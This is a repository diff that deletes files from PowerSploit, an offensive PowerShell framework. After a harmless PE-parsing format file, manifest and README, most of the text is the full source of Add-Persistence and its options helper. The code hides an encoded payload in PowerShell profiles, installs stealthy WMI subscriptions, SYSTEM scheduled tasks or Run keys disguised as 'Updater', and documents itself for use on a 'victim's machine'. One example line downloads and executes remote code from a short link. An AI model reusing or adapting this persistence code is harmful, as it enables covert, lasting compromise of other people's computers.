<ScriptBlock>"0x$($_.SizeOfInitializedData.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>SizeOfUninitializedData</Label>
<ScriptBlock>"0x$($_.SizeOfUninitializedData.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>AddressOfEntryPoint</Label>
<ScriptBlock>"0x$($_.AddressOfEntryPoint.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>BaseOfCode</Label>
<ScriptBlock>"0x$($_.BaseOfCode.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>BaseOfData</Label>
<ScriptBlock>"0x$($_.BaseOfData.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>ImageBase</Label>
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.ImageBase.ToString('X8'))" } else { "0x$($_.ImageBase.ToString('X16'))" }</ScriptBlock>
</ListItem>
<ListItem>
<Label>SectionAlignment</Label>
<ScriptBlock>"0x$($_.SectionAlignment.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>FileAlignment</Label>
<ScriptBlock>"0x$($_.FileAlignment.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<PropertyName>MajorOperatingSystemVersion</PropertyName>
</ListItem>
<ListItem>
<PropertyName>MinorOperatingSystemVersion</PropertyName>
</ListItem>
<ListItem>
<PropertyName>MajorSubsystemVersion</PropertyName>
</ListItem>
<ListItem>
<PropertyName>MinorSubsystemVersion</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Win32VersionValue</PropertyName>
</ListItem>
<ListItem>
<Label>SizeOfImage</Label>
<ScriptBlock>"0x$($_.SizeOfImage.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>SizeOfHeaders</Label>
<ScriptBlock>"0x$($_.SizeOfHeaders.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<Label>CheckSum</Label>
<ScriptBlock>"0x$($_.CheckSum.ToString('X8'))"</ScriptBlock>
</ListItem>
<ListItem>
<PropertyName>Subsystem</PropertyName>
</ListItem>
<ListItem>
<PropertyName>DllCharacteristics</PropertyName>
</ListItem>
<ListItem>
<Label>SizeOfStackReserve</Label>
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfStackReserve.ToString('X8'))" } else { "0x$($_.SizeOfStackReserve.ToString('X16'))" }</ScriptBlock>
</ListItem>
<ListItem>
<Label>SizeOfStackCommit</Label>
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfStackCommit.ToString('X8'))" } else { "0x$($_.SizeOfStackCommit.ToString('X16'))" }</ScriptBlock>
</ListItem>
<ListItem>
<Label>SizeOfHeapReserve</Label>
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfHeapReserve.ToString('X8'))" } else { "0x$($_.SizeOfHeapReserve.ToString('X16'))" }</ScriptBlock>
</ListItem>
<ListItem>
<Label>SizeOfHeapCommit</Label>
<ScriptBlock>if ($_.Magic.ToString() -eq 'PE32') { "0x$($_.SizeOfHeapCommit.ToString('X8'))" } else { "0x$($_.SizeOfHeapCommit.ToString('X16'))" }</ScriptBlock>
</ListItem>
<ListItem>
<PropertyName>LoaderFlags</PropertyName>
</ListItem>
<ListItem>
<PropertyName>NumberOfRvaAndSizes</PropertyName>
</ListItem>
<ListItem>
<PropertyName>DataDirectory</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>SectionHeaderView</Name>
<ViewSelectedBy>
<TypeName>PE+_IMAGE_SECTION_HEADER</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>Name</Label>
<Alignment>Right</Alignment>
</TableColumnHeader>
<TableColumnHeader>
<Label>VirtualSize</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>VirtualAddress</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>SizeOfRawData</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>PointerToRawData</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Characteristics</Label>
<Alignment>Left</Alignment>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<Alignment>Right</Alignment>
<PropertyName>Name</PropertyName>
</TableColumnItem>
<TableColumnItem>
<ScriptBlock>"0x$($_.VirtualSize.ToString('X8'))"</ScriptBlock>
</TableColumnItem>
<TableColumnItem>
<ScriptBlock>"0x$($_.VirtualAddress.ToString('X8'))"</ScriptBlock>
</TableColumnItem>
<TableColumnItem>
<ScriptBlock>"0x$($_.SizeOfRawData.ToString('X8'))"</ScriptBlock>
</TableColumnItem>
<TableColumnItem>
<ScriptBlock>"0x$($_.PointerToRawData.ToString('X8'))"</ScriptBlock>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Characteristics</PropertyName>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
<View>
<Name>FileHeaderView</Name>
<ViewSelectedBy>
<TypeName>PE+_IMAGE_FILE_HEADER</TypeName>
</ViewSelectedBy>
<ListControl>
<ListEntries>
<ListEntry>
<ListItems>
<ListItem>
<PropertyName>Machine</PropertyName>
</ListItem>
<ListItem>
<PropertyName>NumberOfSections</PropertyName>
</ListItem>
<ListItem>
<Label>TimeDateStamp</Label>
<!-- GMT compile time -->
<ScriptBlock>(New-Object DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds($_.TimeDateStamp)</ScriptBlock>
<!-- Compile time assuming it was compiled in Redmond, Washington (PST - GMT-8) -->
<!-- <ScriptBlock>(New-Object DateTime(1969, 12, 31, 16, 0, 0)).AddSeconds($_.TimeDateStamp)</ScriptBlock> -->
</ListItem>
<ListItem>
<PropertyName>PointerToSymbolTable</PropertyName>
</ListItem>
<ListItem>
<PropertyName>NumberOfSymbols</PropertyName>
</ListItem>
<ListItem>
<PropertyName>SizeOfOptionalHeader</PropertyName>
</ListItem>
<ListItem>
<PropertyName>Characteristics</PropertyName>
</ListItem>
</ListItems>
</ListEntry>
</ListEntries>
</ListControl>
</View>
<View>
<Name>DataDirectoryView</Name>
<ViewSelectedBy>
<TypeName>PE+_IMAGE_DATA_DIRECTORY</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>VirtualAddress</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Size</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<ScriptBlock>"0x$($_.VirtualAddress.ToString('X8'))"</ScriptBlock>
</TableColumnItem>
<TableColumnItem>
<ScriptBlock>"0x$($_.Size.ToString('X8'))"</ScriptBlock>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
<View>
<Name>ImportView</Name>
<ViewSelectedBy>
<TypeName>Import</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>ModuleName</Label>
<Alignment>Right</Alignment>
</TableColumnHeader>
<TableColumnHeader>
<Label>VA/FT</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Ordinal</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>FunctionName</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<Alignment>Right</Alignment>
<PropertyName>ModuleName</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>RVA</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Ordinal</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>FunctionName</PropertyName>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
<View>
<Name>ExportView</Name>
<ViewSelectedBy>
<TypeName>Export</TypeName>
</ViewSelectedBy>
<TableControl>
<AutoSize/>
<TableHeaders>
<TableColumnHeader>
<Label>RVA</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>Ordinal</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>FunctionName</Label>
</TableColumnHeader>
<TableColumnHeader>
<Label>ForwardedName</Label>
</TableColumnHeader>
</TableHeaders>
<TableRowEntries>
<TableRowEntry>
<TableColumnItems>
<TableColumnItem>
<PropertyName>RVA</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>Ordinal</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>FunctionName</PropertyName>
</TableColumnItem>
<TableColumnItem>
<PropertyName>ForwardedName</PropertyName>
</TableColumnItem>
</TableColumnItems>
</TableRowEntry>
</TableRowEntries>
</TableControl>
</View>
</ViewDefinitions>
</Configuration>
-88
View File
@@ -1,88 +0,0 @@
@{
# Script module or binary module file associated with this manifest.
ModuleToProcess = 'PETools.psm1'
# Version number of this module.
ModuleVersion = '1.0.0.0'
# ID used to uniquely identify this module
GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'
# Author of this module
Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module
Copyright = 'BSD 3-Clause'
# Description of the functionality provided by this module
Description = 'PowerSploit Portable Executable Analysis Module'
# Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
FormatsToProcess = 'PETools.format.ps1xml', 'Get-ObjDump.format.ps1xml'
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module
FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'})
# List of all files packaged with this module
FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoadPath.ps1',
'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
}
-12
View File
@@ -1,12 +0,0 @@
To install this module, drop the entire PETools folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable.
The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules"
The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules"
To use the module, type `Import-Module PETools`
To see the commands imported, type `Get-Command -Module PETools`
For help on each individual command, Get-Help is your friend.
Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability.
-400
View File
@@ -1,400 +0,0 @@
function Add-Persistence
{
<#
.SYNOPSIS
Add persistence capabilities to a script.
PowerSploit Function: Add-Persistence
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: New-ElevatedPersistenceOptions, New-UserPersistenceOptions
Optional Dependencies: None
.DESCRIPTION
Add-Persistence will add persistence capabilities to any script or scriptblock. This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted.
.PARAMETER ScriptBlock
Specifies a scriptblock containing your payload.
.PARAMETER FilePath
Specifies the path to your payload.
.PARAMETER ElevatedPersistenceOptions
Specifies the trigger for the persistent payload if the target is running elevated.
You must run New-ElevatedPersistenceOptions to generate this argument.
.PARAMETER UserPersistenceOptions
Specifies the trigger for the persistent payload if the target is not running elevated.
You must run New-UserPersistenceOptions to generate this argument.
.PARAMETER PersistenceScriptName
Specifies the name of the function that will wrap the original payload. The default value is 'Update-Windows'.
.PARAMETER DoNotPersistImmediately
Output only the wrapper function for the original payload. By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. it will end with 'Update-Windows -Persist'). If you are in a position where you are running in memory but want to persist at a later time, use this option.
.PARAMETER PersistentScriptFilePath
Specifies the path where you would like to output the persistence script. By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory.
.PARAMETER RemovalScriptFilePath
Specifies the path where you would like to output a script that will remove the persistent payload. By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory.
.PARAMETER PassThru
Outputs the contents of the persistent script to the pipeline. This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline.
.INPUTS
None
Add-Persistence cannot receive any input from the pipeline.
.OUTPUTS
System.Management.Automation.ScriptBlock
If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script.
.NOTES
When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine.
.EXAMPLE
C:\PS>$ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM'
C:\PS>$UserOptions = New-UserPersistenceOptions -Registry -AtLogon
C:\PS>Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -Verbose
Description
-----------
Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime.
.EXAMPLE
C:\PS>$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
C:\PS>$ElevatedOptions = New-ElevatedPersistenceOptions -ScheduledTask -OnIdle
C:\PS>$UserOptions = New-UserPersistenceOptions -ScheduledTask -OnIdle
C:\PS>Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOptions $ElevatedOptions -UserPersistenceOptions $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1
Description
-----------
Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. elevated) determined at runtime. The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. The final, encoded output is finally saved to .\EncodedPersistentScript.ps1
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
[Parameter( Mandatory = $True, ValueFromPipeline = $True, ParameterSetName = 'ScriptBlock' )]
[ValidateNotNullOrEmpty()]
[ScriptBlock]
$ScriptBlock,
[Parameter( Mandatory = $True, ParameterSetName = 'FilePath' )]
[ValidateNotNullOrEmpty()]
[Alias('Path')]
[String]
$FilePath,
[Parameter( Mandatory = $True )]
$ElevatedPersistenceOptions,
[Parameter( Mandatory = $True )]
$UserPersistenceOptions,
[ValidateNotNullOrEmpty()]
[String]
$PersistenceScriptName = 'Update-Windows',
[ValidateNotNullOrEmpty()]
[String]
$PersistentScriptFilePath = "$PWD\Persistence.ps1",
[ValidateNotNullOrEmpty()]
[String]
$RemovalScriptFilePath = "$PWD\RemovePersistence.ps1",
[Switch]
$DoNotPersistImmediately,
[Switch]
$PassThru
)
Set-StrictMode -Version 2
#region Validate arguments
if ($ElevatedPersistenceOptions.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.ElevatedPersistenceOptions')
{
throw 'You provided invalid elevated persistence options.'
}
if ($UserPersistenceOptions.PSObject.TypeNames[0] -ne 'PowerSploit.Persistence.UserPersistenceOptions')
{
throw 'You provided invalid user-level persistence options.'
}
$Path = Split-Path $PersistentScriptFilePath -ErrorAction Stop
$Leaf = Split-Path $PersistentScriptFilePath -Leaf -ErrorAction Stop
$PersistentScriptFile = ''
$RemovalScriptFile = ''
if ($Path -eq '')
{
$PersistentScriptFile = "$($PWD)\$($Leaf)"
}
else
{
$PersistentScriptFile = "$($Path)\$($Leaf)"
}
$Path = Split-Path $RemovalScriptFilePath -ErrorAction Stop
$Leaf = Split-Path $RemovalScriptFilePath -Leaf -ErrorAction Stop
if ($Path -eq '')
{
$RemovalScriptFile = "$($PWD)\$($Leaf)"
}
else
{
$RemovalScriptFile = "$($Path)\$($Leaf)"
}
if ($PSBoundParameters['Path'])
{
Get-ChildItem $Path -ErrorAction Stop | Out-Null
$Script = [IO.File]::ReadAllText((Resolve-Path $Path))
}
else
{
$Script = $ScriptBlock
}
#endregion
#region Initialize data
$CompressedScript = ''
$UserTrigger = ''
$UserTriggerRemoval = ''
$ElevatedTrigger = "''"
$ElevatedTriggerRemoval = ''
$UserTrigger = "''"
$UserTriggerRemoval = ''
$CommandLine = ''
#endregion
#region Compress the original payload in preparation for the persistence script
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($Script)
$CompressedStream = New-Object IO.MemoryStream
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
$DeflateStream.Dispose()
$CompressedScriptBytes = $CompressedStream.ToArray()
$CompressedStream.Dispose()
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
# Generate the code that will decompress and execute the payload.
# This code is intentionally ugly to save space.
$NewScript = 'sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(' + "'$EncodedCompressedScript'" + '),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()'
#endregion
#region Process persistence options
# Begin processing elevated persistence options
switch ($ElevatedPersistenceOptions.Method)
{
'PermanentWMI'
{
$ElevatedTriggerRemoval = {
Get-WmiObject __eventFilter -namespace root\subscription -filter "name='Updater'"| Remove-WmiObject
Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='Updater'" | Remove-WmiObject
Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match 'Updater'} | Remove-WmiObject
}
switch ($ElevatedPersistenceOptions.Trigger)
{
'AtStartup'
{
$ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
}
'Daily'
{
$ElevatedTrigger = "`"```$Filter=Set-WmiInstance -Class __EventFilter -Namespace ```"root\subscription```" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=```"WQL```";Query=```"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = $($ElevatedPersistenceOptions.Time.ToString('HH')) AND TargetInstance.Minute = $($ElevatedPersistenceOptions.Time.ToString('mm')) GROUP WITHIN 60```"};```$Consumer=Set-WmiInstance -Namespace ```"root\subscription```" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=```"```$(```$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive```";RunInteractively='false'};Set-WmiInstance -Namespace ```"root\subscription```" -Class __FilterToConsumerBinding -Arguments @{Filter=```$Filter;Consumer=```$Consumer} | Out-Null`""
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
}
'ScheduledTask'
{
$CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
$ElevatedTriggerRemoval = "schtasks /Delete /TN Updater"
switch ($ElevatedPersistenceOptions.Trigger)
{
'AtLogon'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC ONLOGON /TN Updater /TR "
}
'Daily'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC DAILY /ST $($ElevatedPersistenceOptions.Time.ToString('HH:mm:ss')) /TN Updater /TR "
}
'OnIdle'
{
$ElevatedTrigger = "schtasks /Create /RU system /SC ONIDLE /I 1 /TN Updater /TR "
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
$ElevatedTrigger = '"' + $ElevatedTrigger + $CommandLine + '"'
}
'Registry'
{
$ElevatedTrigger = "New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "
$ElevatedTriggerRemoval = "Remove-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"
$CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`""
$ElevatedTrigger = "'" + $ElevatedTrigger + $CommandLine + "'"
}
default
{
throw 'Invalid elevated persistence options provided!'
}
}
# Begin processing user-level persistence options
switch ($UserPersistenceOptions.Method)
{
'ScheduledTask'
{
$CommandLine = '`"$($Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe -NonInteractive`"'
$UserTriggerRemoval = "schtasks /Delete /TN Updater"
switch ($UserPersistenceOptions.Trigger)
{
'Daily'
{
$UserTrigger = "schtasks /Create /SC DAILY /ST $($UserPersistenceOptions.Time.ToString('HH:mm:ss')) /TN Updater /TR "
}
'OnIdle'
{
$UserTrigger = "schtasks /Create /SC ONIDLE /I 1 /TN Updater /TR "
}
default
{
throw 'Invalid user-level persistence options provided!'
}
}
$UserTrigger = '"' + $UserTrigger + $CommandLine + '"'
}
'Registry'
{
$UserTrigger = "New-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater -PropertyType String -Value "
$UserTriggerRemoval = "Remove-ItemProperty -Path HKCU:Software\Microsoft\Windows\CurrentVersion\Run\ -Name Updater"
$CommandLine = "`"```"`$(`$Env:SystemRoot)\System32\WindowsPowerShell\v1.0\powershell.exe```" -NonInteractive -WindowStyle Hidden`""
$UserTrigger = "'" + $UserTrigger + $CommandLine + "'"
}
default
{
throw 'Invalid user-level persistence options provided!'
}
}
#endregion
#region Original script with its persistence logic will reside here
# This is intentionally ugly in the interest of saving space on the victim machine.
$PersistantScript = {
function FUNCTIONNAME{
Param([Switch]$Persist)
$ErrorActionPreference='SilentlyContinue'
$Script={ORIGINALSCRIPT}
if($Persist){
if(([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator'))
{$Prof=$PROFILE.AllUsersAllHosts;$Payload=ELEVATEDTRIGGER}
else
{$Prof=$PROFILE.CurrentUserAllHosts;$Payload=USERTRIGGER}
' '*600+$Script.ToString()|Out-File $Prof -A -NoC -Fo
iex $Payload|Out-Null
Write-Output $Payload}
else
{$Script.Invoke()}
} EXECUTEFUNCTION
}
$PersistantScript = $PersistantScript.ToString().Replace('FUNCTIONNAME', $PersistenceScriptName)
$PersistantScript = $PersistantScript.ToString().Replace('ORIGINALSCRIPT', $NewScript)
$PersistantScript = $PersistantScript.ToString().Replace('ELEVATEDTRIGGER', $ElevatedTrigger)
$PersistantScript = $PersistantScript.ToString().Replace('USERTRIGGER', $UserTrigger)
if ($DoNotPersistImmediately)
{
$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', '')
}
else
{
$PersistantScript = $PersistantScript.ToString().Replace('EXECUTEFUNCTION', "$PersistenceScriptName -Persist")
}
#endregion
#region Generate final output
# Generate the persistence removal script
$PersistenceRemoval = @"
# Execute the following to remove the elevated persistent payload
$ElevatedTriggerRemoval
# Execute the following to remove the user-level persistent payload
$UserTriggerRemoval
"@
$PersistantScript | Out-File $PersistentScriptFile
Write-Verbose "Persistence script written to $PersistentScriptFile"
$PersistenceRemoval | Out-File $RemovalScriptFile
Write-Verbose "Persistence removal script written to $RemovalScriptFile"
if ($PassThru)
{
# Output a scriptblock of the persistent function. This can be passed to Out-EncodedCommand via the pipeline.
Write-Output ([ScriptBlock]::Create($PersistantScript))
}
#endregion
}
@@ -1,170 +0,0 @@
function New-ElevatedPersistenceOptions
{
<#
.SYNOPSIS
Configure elevated persistence options for the Add-Persistence function.
PowerSploit Function: New-ElevatedPersistenceOptions
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
New-ElevatedPersistenceOptions allows for the configuration of elevated persistence options. The output of this function is a required parameter of Add-Persistence. Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry.
.PARAMETER PermanentWMI
Persist via a permanent WMI event subscription. This option will be the most difficult to detect and remove.
Detection Difficulty: Difficult
Removal Difficulty: Difficult
User Detectable? No
.PARAMETER ScheduledTask
Persist via a scheduled task.
Detection Difficulty: Moderate
Removal Difficulty: Moderate
User Detectable? No
.PARAMETER Registry
Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. Note: This option will briefly pop up a PowerShell console to the user.
Detection Difficulty: Easy
Removal Difficulty: Easy
User Detectable? Yes
.PARAMETER AtLogon
Starts the payload upon any user logon.
.PARAMETER AtStartup
Starts the payload within 240 and 325 seconds of computer startup.
.PARAMETER OnIdle
Starts the payload after one minute of idling.
.PARAMETER Daily
Starts the payload daily.
.PARAMETER At
Starts the payload at the specified time. You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'.
.EXAMPLE
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -PermanentWMI -Daily -At '3 PM'
.EXAMPLE
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -Registry -AtStartup
.EXAMPLE
C:\PS> $ElevatedOptions = New-ElevatedPersistenceOptions -ScheduledTask -OnIdle
.LINK
http://www.exploit-monday.com
#>
[CmdletBinding()] Param (
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
[Switch]
$PermanentWMI,
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
$ScheduledTask,
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
[Switch]
$Registry,
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[Switch]
$Daily,
[Parameter( ParameterSetName = 'PermanentWMIDaily', Mandatory = $True )]
[Parameter( ParameterSetName = 'ScheduledTaskDaily', Mandatory = $True )]
[DateTime]
$At,
[Parameter( ParameterSetName = 'ScheduledTaskOnIdle', Mandatory = $True )]
[Switch]
$OnIdle,
[Parameter( ParameterSetName = 'ScheduledTaskAtLogon', Mandatory = $True )]
[Parameter( ParameterSetName = 'Registry', Mandatory = $True )]
[Switch]
$AtLogon,
[Parameter( ParameterSetName = 'PermanentWMIAtStartup', Mandatory = $True )]
[Switch]
$AtStartup
)
$PersistenceOptionsTable = @{
Method = ''
Trigger = ''
Time = ''
}
switch ($PSCmdlet.ParameterSetName)
{
'PermanentWMIAtStartup'
{
$PersistenceOptionsTable['Method'] = 'PermanentWMI'
$PersistenceOptionsTable['Trigger'] = 'AtStartup'
}
'PermanentWMIDaily'
{
$PersistenceOptionsTable['Method'] = 'PermanentWMI'
$PersistenceOptionsTable['Trigger'] = 'Daily'
$PersistenceOptionsTable['Time'] = $At
}
'ScheduledTaskAtLogon'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'AtLogon'
}
'ScheduledTaskOnIdle'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'OnIdle'
}
'ScheduledTaskDaily'
{
$PersistenceOptionsTable['Method'] = 'ScheduledTask'
$PersistenceOptionsTable['Trigger'] = 'Daily'
$PersistenceOptionsTable['Time'] = $At
}
'Registry'
{
$PersistenceOptionsTable['Method'] = 'Registry'
$PersistenceOptionsTable['Trigger'] = 'AtLogon'
}
}
$PersistenceOptions = New-Object -TypeName PSObject -Property $PersistenceOptionsTable
$PersistenceOptions.PSObject.TypeNames[0] = 'PowerSploit.Persistence.ElevatedPersistenceOptions'
Write-Output $PersistenceOptions
}
-128
View File
@@ -1,128 +0,0 @@
function New-UserPersistenceOptions
{
<#
.SYNOPSIS
Configure user-level persistence options for the Add-Persistence function.
PowerSploit Function: New-UserPersistenceOptions
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
